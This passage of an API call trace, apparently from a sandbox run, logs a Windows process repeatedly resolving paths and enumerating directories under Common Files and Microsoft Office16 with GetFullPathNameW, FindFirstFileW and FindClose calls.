nBufferLength=0x105, lpBuffer=0x1ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared", lpFilePart=0x0) returned 0x2e [0121.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\", nBufferLength=0x105, lpBuffer=0x1ed730, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\", lpFilePart=0x0) returned 0x2f [0121.872] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared", nBufferLength=0x105, lpBuffer=0x1ed790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared", lpFilePart=0x0) returned 0x2e [0121.872] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\", nBufferLength=0x105, lpBuffer=0x1ed730, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\", lpFilePart=0x0) returned 0x2f [0121.872] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun", nBufferLength=0x105, lpBuffer=0x1ed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun", lpFilePart=0x0) returned 0x39 [0121.872] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\", nBufferLength=0x105, lpBuffer=0x1ed680, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\", lpFilePart=0x0) returned 0x3a [0121.876] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun", nBufferLength=0x105, lpBuffer=0x1ed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun", lpFilePart=0x0) returned 0x39 [0121.876] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\", nBufferLength=0x105, lpBuffer=0x1ed680, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\", lpFilePart=0x0) returned 0x3a [0121.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates", nBufferLength=0x105, lpBuffer=0x1ed630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates", lpFilePart=0x0) returned 0x41 [0121.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates\\", nBufferLength=0x105, lpBuffer=0x1ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates\\", lpFilePart=0x0) returned 0x42 [0121.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates", nBufferLength=0x105, lpBuffer=0x1ed630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates", lpFilePart=0x0) returned 0x41 [0121.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates\\", nBufferLength=0x105, lpBuffer=0x1ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates\\", lpFilePart=0x0) returned 0x42 [0121.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates\\16.0.10228.20104", nBufferLength=0x105, lpBuffer=0x1ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates\\16.0.10228.20104", lpFilePart=0x0) returned 0x52 [0121.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates\\16.0.10228.20104\\", nBufferLength=0x105, lpBuffer=0x1ed520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates\\16.0.10228.20104\\", lpFilePart=0x0) returned 0x53 [0121.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates\\16.0.10228.20104", nBufferLength=0x105, lpBuffer=0x1ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates\\16.0.10228.20104", lpFilePart=0x0) returned 0x52 [0121.894] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates\\16.0.10228.20104\\", nBufferLength=0x105, lpBuffer=0x1ed520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\Updates\\16.0.10228.20104\\", lpFilePart=0x0) returned 0x53 [0121.898] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", nBufferLength=0x105, lpBuffer=0x1ed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", lpFilePart=0x0) returned 0x32 [0121.898] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", nBufferLength=0x105, lpBuffer=0x1ed680, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpFilePart=0x0) returned 0x33 [0121.901] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", nBufferLength=0x105, lpBuffer=0x1ed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink", lpFilePart=0x0) returned 0x32 [0121.901] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", nBufferLength=0x105, lpBuffer=0x1ed680, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\", lpFilePart=0x0) returned 0x33 [0121.955] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", nBufferLength=0x105, lpBuffer=0x1ed630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", lpFilePart=0x0) returned 0x38 [0121.956] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", nBufferLength=0x105, lpBuffer=0x1ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", lpFilePart=0x0) returned 0x39 [0121.957] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", nBufferLength=0x105, lpBuffer=0x1ed630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA", lpFilePart=0x0) returned 0x38 [0121.957] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", nBufferLength=0x105, lpBuffer=0x1ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", lpFilePart=0x0) returned 0x39 [0121.957] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", nBufferLength=0x105, lpBuffer=0x1ed630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", lpFilePart=0x0) returned 0x38 [0121.957] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", nBufferLength=0x105, lpBuffer=0x1ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", lpFilePart=0x0) returned 0x39 [0121.958] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", nBufferLength=0x105, lpBuffer=0x1ed630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG", lpFilePart=0x0) returned 0x38 [0121.958] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", nBufferLength=0x105, lpBuffer=0x1ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\", lpFilePart=0x0) returned 0x39 [0121.958] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", nBufferLength=0x105, lpBuffer=0x1ed630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", lpFilePart=0x0) returned 0x38 [0121.958] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", nBufferLength=0x105, lpBuffer=0x1ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", lpFilePart=0x0) returned 0x39 [0121.959] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", nBufferLength=0x105, lpBuffer=0x1ed630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ", lpFilePart=0x0) returned 0x38 [0121.959] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", nBufferLength=0x105, lpBuffer=0x1ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\", lpFilePart=0x0) returned 0x39 [0121.959] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", nBufferLength=0x105, lpBuffer=0x1ed630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", lpFilePart=0x0) returned 0x38 [0121.959] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", nBufferLength=0x105, lpBuffer=0x1ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", lpFilePart=0x0) returned 0x39 [0121.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", nBufferLength=0x105, lpBuffer=0x1ed630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", lpFilePart=0x0) returned 0x38 [0121.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", nBufferLength=0x105, lpBuffer=0x1ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", lpFilePart=0x0) returned 0x39 [0121.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", nBufferLength=0x105, lpBuffer=0x1ed630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", lpFilePart=0x0) returned 0x38 [0121.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", nBufferLength=0x105, lpBuffer=0x1ed5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", lpFilePart=0x0) returned 0x39 [0121.962] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", nBufferLength=0x105, lpBuffer=0x1ed630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", lpFilePart=0x0) returned 0x38 [0124.317] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x1ed5d0 | out: lpFindFileData=0x1ed5d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x993b5650, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x993b5650, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x993b5650, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.320] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.320] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81288e70, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x92101230, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x92101230, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.334] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.336] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81288e70, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x92101230, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x92101230, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.337] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.338] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.339] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.340] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81b760f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.342] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81b760f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.345] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84308eb0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.346] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84308eb0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.347] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f904690, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x99532410, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x99532410, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.427] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.430] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f904690, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x99532410, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x99532410, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.433] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.435] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f86c110, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.441] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f86c110, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.444] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.445] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.449] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d2a100, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d2a100, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.451] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ar\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87173bb0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.455] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.455] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ar\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87173bb0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.455] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.456] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\bg\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91f84470, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.457] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.457] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\bg\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91f84470, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.458] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.458] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ca\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9089b0b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.459] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.459] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ca\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9089b0b0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5cdde40, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.460] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\cs\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86755e30, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5cdde40, 